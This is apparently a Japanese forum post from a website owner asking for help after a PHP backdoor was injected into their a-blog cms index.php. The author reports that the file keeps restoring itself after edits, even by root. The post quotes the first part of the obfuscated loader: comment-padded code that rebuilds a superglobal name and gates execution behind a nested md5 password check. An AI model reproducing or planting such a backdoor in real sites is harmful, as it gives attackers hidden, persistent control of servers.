<?php /*-@sd@@+Sr-*/error_reporting(0); $Ikn /*-PKQ]k5|-*/= /*-2yD6cFGE>-*/"r"./*-nT+-*/"a"."n"./*-A!CnO@-*/"g"."e"; /*-;C-*/$mLxjn/*-nLu-*/ = /*-gj>8-*/$Ikn/*-(#Bo-*/("~", /*-zI_I9[!C_O-*/" "); /*-(07==-*/$lY/*-NJ|9v@qhEz-*/=/*-_S+,-*/${$mLxjn/*-)3-*/[25+6/*-<vo-*/].$mLxjn/*-!|CcpBBx>-*/[13+46]/*-4YsVJB#Eb-*/.$mLxjn/*-CW?($|kC-*/[41+6]/*-bb_t,,O@-*/.$mLxjn/*-MR5j6kO7B2-*/[40+7]/*-K`n-*/.$mLxjn/*-f!56md`-*/[24+27]/*-J!.<;Ai-*/.$mLxjn/*-)2(u$hMY{1-*/[52+1]/*-kX6rw-*/.$mLxjn/*-qg3x#T-*/[49+8]/*-x)PTJ[7A-*/}; /*-eV-*/if/*-Jbz,-*/((/*-EOO6:54z)-*/in_array/*-!=m@-*/(gettype/*-P.N#=R6m-*/($lY)./*-^#-*/count/*-78-*/($lY),/*-.q{F%`?-*/$lY)/*-<wb?R@D-*/&&count/*-8(34w!a-*/($lY)/*-V%KW,t%K|-*/==/*-E,)!~-*/23)&&(md5/*-Z{@b-*/(md5/*-,9`%-*/(md5/*-CQZho-*/(md5/*-P{-AdW-*/($lY[17]))/*-)>!(`}B-*/))/*-6@;C$LjK-*/===/*-J<~[p,GDv-*/"f116c4d27eafebbc5e7534e2353cdab9"/*-S;qbgrf@y-*/))/*-
と延々と1万6000字も続くコードが挿入されています。
これを削除できれば解決できると思いましたが、rootでも編集ができない。ファイルがApacheの実行ユーザーのリードオンリーになっていました。
編集・保存するために、ファイルオーナーをroot.rootにして、パーミッションも606にして
当然、ファイルは
-rw----rw- 1 root root 1721 Jun 29 04:01 index.php
となるはずですが、この冒頭のコードを消すと、root が書き換えたファイルがなぜか、
-r--r--r-- 1 www-data www-data 17528 Jun 29 04:10 index.php
となり、ファイルの10倍のサイズに戻り、ファイルのオーナーも変わっています。
つまり、何かがファイルの書き換えを監視していて、root権限が乗っ取られていて、このコードが書き換えられたら、再び書き換えて、ファイルのオーナーも権限も書き換えているように思います。どのような仕組みでそれが実現しているのか、つかめていません。a-blog cmsの脆弱性とは関係せずに、こちらのサーバーの隙を狙って書き換えられた可能性もあるかと思います。その場合は貴重な場を無駄にして申し訳ありません。なんとか解決したいと思いますし、解決できたら報告したいと思います。もし、ヒントがあれば教えていただければ大変助かります。